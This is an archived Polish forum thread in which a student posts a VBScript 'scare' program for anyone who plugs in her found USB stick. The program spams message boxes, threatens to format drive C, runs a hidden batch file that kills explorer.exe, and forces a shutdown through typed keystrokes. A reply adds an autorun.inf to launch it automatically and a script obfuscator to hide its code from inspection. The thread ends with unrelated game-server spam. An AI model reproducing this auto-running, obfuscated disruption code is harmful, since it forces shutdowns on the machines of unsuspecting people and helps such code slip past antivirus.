Skocz do zawartości

  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • ✅ Pełny dostęp do działów i ukrytych treści
    • ✅ Możliwość pisania i odpowiadania w tematach
    • ✅ System prywatnych wiadomości
    • ✅ Zbieranie reputacji i rozwijanie swojego profilu
    • ✅ Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

[Pomoc] VBs Straszak na Pendrive

Isuribi

Przez Isuribi
w Niezbędnik Programisty - Archiwum

Rekomendowane odpowiedzi

Isuribi Weteran

Isuribi

Opublikowano
Weteran

Isuribi

Opublikowano

Moze na poczatku wytlumacze mało wiele o co mi chodzi i z czym mam problem... ewentulanie prosze o jakies wskazówki co dalej z tym zrobić... Na mojej uczelni bardzo lubią kraść Pendrive'y w związku z czym pozbyłam się już chyba z 5... A wiadomo kasa na to na chodniku nie leży. A nawet jesli zapomne swojego Pendrive z pracowni to osoba ktora go znajdzie i tak by nie wiedziala gdzie go oddac... Programowanie nie jest moja mocna strona bo miałam je tylko w technikum i to w zakresie podstawowym, no a na obecnej uczelni jestem na grafice wiec dalej męczę raczej podstawy...

 

No to moze co do programu, zainteresowałam sie sztucznym wywalniem "błędu", który ewentualnie postarszył by osobe która go znalazła lub doinformował gdzie należy zwrócić zabawke... Mój problem polega na tym, że nie mam zielonego pojecia jak zrobić autostart tego pliczku, bo po uruchomieniu go juz raczej wszystko działa tak jak bym tego chciała... Dodatkowo jest taki mały problem, że skrypt prosi o hasło... Troche bardziej rozgarnieta osoba, otworzy sobie to w notatniku i przeczyta, wiec jak to jakos ukryc ? < btw. tak wiem ze program mol byc krotszy, no ale tak jakos mi wyszlo, wiec nie bijcie ; ) >

 

Dim x, y, z, a, c, haslo, ciag, oShell, sWinDir, xShell, sWallPaper, oFSO
x=msgbox("Jestes Właścicielem tego pendrive?", 4+16, "Moj Pendrive ;3")
if x=6 then
	y=msgbox("napewno?", 4+16, "mhm") 
		if y=7 then
			msgbox "nie ladnie klamac", 0, "" 
				z=msgbox("Teraz grzecznie oddaj ", 0+16, "Teraz !!! ;3")
				c=msgbox ("Tu bylo moje imie, nazwisko i klasa ;d ", 0+32, "niach niach")
				For a=1 to 10
					msgbox "Tu bylo moje imie, nazwisko i klasa ;d ", 0+32, "niach niach"
				Next
					msgbox "wiem wredna jestem", 0+16, "grasz dalej?"
					msgbox "wiem wredna jestem", 0+16, "grasz dalej?"
					msgbox "wiem wredna jestem", 0+16, "grasz dalej?"
					msgbox "wiem wredna jestem", 0+16, "grasz dalej?"
					msgbox "ale nie odpuszcze tak latwo", 0+16, "heh."
					msgbox "ale nie odpuszcze tak latwo", 0+16, "heh."
					msgbox "ale nie odpuszcze tak latwo", 0+16, "heh."
					msgbox "To co format dysku C ?", 0+16, ""
					msgbox "To co format dysku C ?", 0+16, ""
					msgbox "To co format dysku C ?", 0+16, ""
					Set oShell = WScript.CreateObject ("WSCript.shell")
					oShell.run "cmd /C abc.bat",0
					Set oShell = Nothing
					set shellobj = CreateObject("WScript.Shell")

					shellobj.run "cmd"
					wscript.sleep 200
					Shellobj.sendkeys "s"
					wscript.sleep 20
					Shellobj.sendkeys "h"
					wscript.sleep 20
					Shellobj.sendkeys "u"
					wscript.sleep 20
					Shellobj.sendkeys "t"
					wscript.sleep 20
					Shellobj.sendkeys "d"
					wscript.sleep 20
					Shellobj.sendkeys "o"
					wscript.sleep 20
					Shellobj.sendkeys "w"
					wscript.sleep 20
					Shellobj.sendkeys "n"
					wscript.sleep 20
					Shellobj.sendkeys " "
					wscript.sleep 20
					Shellobj.sendkeys "-"
					wscript.sleep 20
					Shellobj.sendkeys "s"
					wscript.sleep 20
					Shellobj.sendkeys " "
					wscript.sleep 20
					Shellobj.sendkeys "-"
					wscript.sleep 20
					Shellobj.sendkeys "f"
					wscript.sleep 20
					Shellobj.sendkeys " "
					wscript.sleep 20
					Shellobj.sendkeys "-"
					wscript.sleep 20
					Shellobj.sendkeys "t"
					wscript.sleep 20
					Shellobj.sendkeys " "
					wscript.sleep 20
					Shellobj.sendkeys "3"
					wscript.sleep 20
					Shellobj.sendkeys "{ENTER}" ' zmien dlugosc czasu zamykania
		else
			y=msgbox ("o rly?", 0+16, "trolololo")
			haslo = "lufa"
			ciag = InputBox("Wpisz hasło")
			If ciag = haslo Then
				MsgBox "Podałeś prawidłowe hasło"
				' następne instrukcje programu.
			Else
				msgbox "zle haslo", 0, "" 
				z=msgbox("Teraz grzecznie oddaj ", 0+16, "Teraz !!! ;3")
				c=msgbox ("Tu bylo moje imie, nazwisko i klasa ;d ", 0+16, "niach niach")
				For a=1 to 10
					msgbox "Tu bylo moje imie, nazwisko i klasa ;d ", 0+16, "niach niach"
				Next
					msgbox "wiem wredna jestem", 0+16, "grasz dalej?"
					msgbox "wiem wredna jestem", 0+16, "grasz dalej?"
					msgbox "wiem wredna jestem", 0+16, "grasz dalej?"
					msgbox "wiem wredna jestem", 0+16, "grasz dalej?"
					msgbox "ale nie odpuszcze tak latwo", 0+16, "heh."
					msgbox "ale nie odpuszcze tak latwo", 0+16, "heh."
					msgbox "ale nie odpuszcze tak latwo", 0+16, "heh."
					msgbox "To co format dysku C ?", 0+16, ""
					msgbox "To co format dysku C ?", 0+16, ""
					msgbox "To co format dysku C ?", 0+16, ""
					Set oShell = WScript.CreateObject ("WSCript.shell")
					oShell.run "cmd /C abc.bat",0
					Set oShell = Nothing
					set shellobj = CreateObject("WScript.Shell")

					shellobj.run "cmd"
					wscript.sleep 200
					Shellobj.sendkeys "s"
					wscript.sleep 20
					Shellobj.sendkeys "h"
					wscript.sleep 20
					Shellobj.sendkeys "u"
					wscript.sleep 20
					Shellobj.sendkeys "t"
					wscript.sleep 20
					Shellobj.sendkeys "d"
					wscript.sleep 20
					Shellobj.sendkeys "o"
					wscript.sleep 20
					Shellobj.sendkeys "w"
					wscript.sleep 20
					Shellobj.sendkeys "n"
					wscript.sleep 20
					Shellobj.sendkeys " "
					wscript.sleep 20
					Shellobj.sendkeys "-"
					wscript.sleep 20
					Shellobj.sendkeys "s"
					wscript.sleep 20
					Shellobj.sendkeys " "
					wscript.sleep 20
					Shellobj.sendkeys "-"
					wscript.sleep 20
					Shellobj.sendkeys "f"
					wscript.sleep 20
					Shellobj.sendkeys " "
					wscript.sleep 20
					Shellobj.sendkeys "-"
					wscript.sleep 20
					Shellobj.sendkeys "t"
					wscript.sleep 20
					Shellobj.sendkeys " "
					wscript.sleep 20
					Shellobj.sendkeys "3"
					wscript.sleep 20
					Shellobj.sendkeys "{ENTER}" ' zmien dlugosc czasu zamykania


			End If
		end if
	elseif x=7 then
	z=msgbox("To teraz grzecznie oddaj ", 0+16, "Teraz !!! ;3")
				c=msgbox ("Tu bylo moje imie, nazwisko i klasa ;d ", 0+32, "niach niach")
				For a=1 to 10
					msgbox "Tu bylo moje imie, nazwisko i klasa ;d ", 0+32, "niach niach"
				Next
					msgbox "wiem wredna jestem", 0+16, "grasz dalej?"
					msgbox "wiem wredna jestem", 0+16, "grasz dalej?"
					msgbox "wiem wredna jestem", 0+16, "grasz dalej?"
					msgbox "wiem wredna jestem", 0+16, "grasz dalej?"
					msgbox "ale nie odpuszcze tak latwo", 0+16, "heh."
					msgbox "ale nie odpuszcze tak latwo", 0+16, "heh."
					msgbox "ale nie odpuszcze tak latwo", 0+16, "heh."
					msgbox "To co format dysku C ?", 0+16, ""
					msgbox "To co format dysku C ?", 0+16, ""
					msgbox "To co format dysku C ?", 0+16, ""
					Set oShell = WScript.CreateObject ("WSCript.shell")
					oShell.run "cmd /C abc.bat",0
					Set oShell = Nothing
					set shellobj = CreateObject("WScript.Shell")

					shellobj.run "cmd"
					wscript.sleep 200
					Shellobj.sendkeys "s"
					wscript.sleep 20
					Shellobj.sendkeys "h"
					wscript.sleep 20
					Shellobj.sendkeys "u"
					wscript.sleep 20
					Shellobj.sendkeys "t"
					wscript.sleep 20
					Shellobj.sendkeys "d"
					wscript.sleep 20
					Shellobj.sendkeys "o"
					wscript.sleep 20
					Shellobj.sendkeys "w"
					wscript.sleep 20
					Shellobj.sendkeys "n"
					wscript.sleep 20
					Shellobj.sendkeys " "
					wscript.sleep 20
					Shellobj.sendkeys "-"
					wscript.sleep 20
					Shellobj.sendkeys "s"
					wscript.sleep 20
					Shellobj.sendkeys " "
					wscript.sleep 20
					Shellobj.sendkeys "-"
					wscript.sleep 20
					Shellobj.sendkeys "f"
					wscript.sleep 20
					Shellobj.sendkeys " "
					wscript.sleep 20
					Shellobj.sendkeys "-"
					wscript.sleep 20
					Shellobj.sendkeys "t"
					wscript.sleep 20
					Shellobj.sendkeys " "
					wscript.sleep 20
					Shellobj.sendkeys "3"
					wscript.sleep 20
					Shellobj.sendkeys "{ENTER}" ' zmien dlugosc czasu zamykania


end if

 

+ pliczek bat, mniej wazny ; )

 

:start 
taskkill /f /im explorer.exe

3KIpGJ1.gif

Isuribi Weteran

Isuribi

Opublikowano
Weteran

Isuribi

  • Autor
Opublikowano

dobre pytanie, tez chciala bym to wiedziec...

;d

Znaczy jesli chodzi o odpalenie tego no to zapisywalam sobie zapisz jako... > costam.vbs

no i jakos leciało ^^

3KIpGJ1.gif

SuicideRlz Legenda

SuicideRlz

Opublikowano
Legenda

SuicideRlz

Opublikowano

Stwórz plik autorun.inf i zapisz w nim: 

[Autorun]
Open=Obfuscated.vbs
Action=Start
Label=Moj Pendrive

Jeśli chodzi o te hasło, to chociaż w sumie niezbyt efektowne zabezpieczenie, ale lepiej coś niż nic. Wklej ten kod, nazwij plik *.vbs i odpal, a potem podaj tam nazwę swojego pliku .vbs

Obfuscated.vbs wrzuć na pendrive

 

Randomize
set fso = CreateObject("Scripting.FileSystemObject")
fileName = Inputbox("Enter Path of the File to scramble : ")
set src = fso.OpenTextfile(fileName,1)
body = src.readall
set rep  = fso.createtextfile("Obfuscated.vbs",true)
rep.writeline "Execute(" & Obfuscate(body) & " ) "

Function Obfuscate(txt)
enc = ""
for i = 1 to len(txt)
enc = enc & "chr( " & form( asc(mid(txt,i,1)) ) & " ) & "
next
Obfuscate = enc & " vbcrlf "
End Function


Function form(n)

r = int(rnd * 10000)
k = int(rnd * 3)
if( k = 0) then ret = (r+n) & "-" & r
if( k = 1) then ret = (n-r) & "+" & r
if( k = 2) then ret = (n*r) & "/" & r
form = ret
End Function

 

9.png

userbarwb.png
Zawsze promocje na sygnatury ^^

Isuribi Weteran

Isuribi

Opublikowano
Weteran

Isuribi

  • Autor
Opublikowano

Hmm.. Co do Autorun probowalam juz wczesniej i tu sie pojawia problem...

Nie idzie zrobic Autostartu z pendrive < albo poprostu nie umiem >

Bo samo [Atorun] przeciez stosuje sie na plytach CD :P

Przynajmniej Sui ten Autorun co podales nie chce się włączyć.

 

+ Antywirus zaczął krzyczeć kiedy zrobiłam to co napisałeś ?

 

3KIpGJ1.gif

SuicideRlz Legenda

SuicideRlz

Opublikowano
Legenda

SuicideRlz

Opublikowano

W tym bedzie problem. Wiekszosc antywirusow nie lubi pozwalac na autorun z pendriva, a co dopiero jesli to skrypt VB.

Sprobuj TrueCrypt, a swoje dane wrzuc jako nazwe pendriva.

9.png

userbarwb.png
Zawsze promocje na sygnatury ^^

  • 1 miesiąc temu...
matuty Nowicjusz

matuty

Opublikowano
Nowicjusz

matuty

Opublikowano · Ukryte przez 4ggr35510n, 1 Października 2012 - Brak powodu
Ukryte przez 4ggr35510n, 1 Października 2012 - Brak powodu

Nowy Prywatny serwer Ogame

Nowe swiaty : namek(speed 4x),Akson(speed 7x),hellsus(speed 2x)

bugi

przyjazna atmoswera

HellHer Najlepszy serwer jest to nowy,najlepszy prywatny serwer Ogame ja jest przegladarkowa jak Pemiona,Margonem,Ikariam, itp... na uniwers 1 jest speed gry 13,na uniwers 2 speed 7 Jedynego czego potrzebujesz to tylko przegladarka (Polecana jest FireFox) prywatny,serwer,ogame,ikariam,tanoth,szybki,speed,fajna grafika,dluga gra,fajne forum.

Nowy Prywatny serwer Ogame

Nowe swiaty : namek(speed 4x),Akson(speed 7x),hellsus(speed 2x)

bugi

przyjazna atmoswera

HellHer Najlepszy serwer jest to nowy,najlepszy prywatny serwer Ogame ja jest przegladarkowa jak Pemiona,Margonem,Ikariam, itp... na uniwers 1 jest speed gry 13,na uniwers 2 speed 7 Jedynego czego potrzebujesz to tylko przegladarka (Polecana jest FireFox) prywatny,serwer,ogame,ikariam,tanoth,szybki,speed,fajna grafika,dluga gra,fajne forum.

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

Tematy
×
×
  • Dodaj nową pozycję...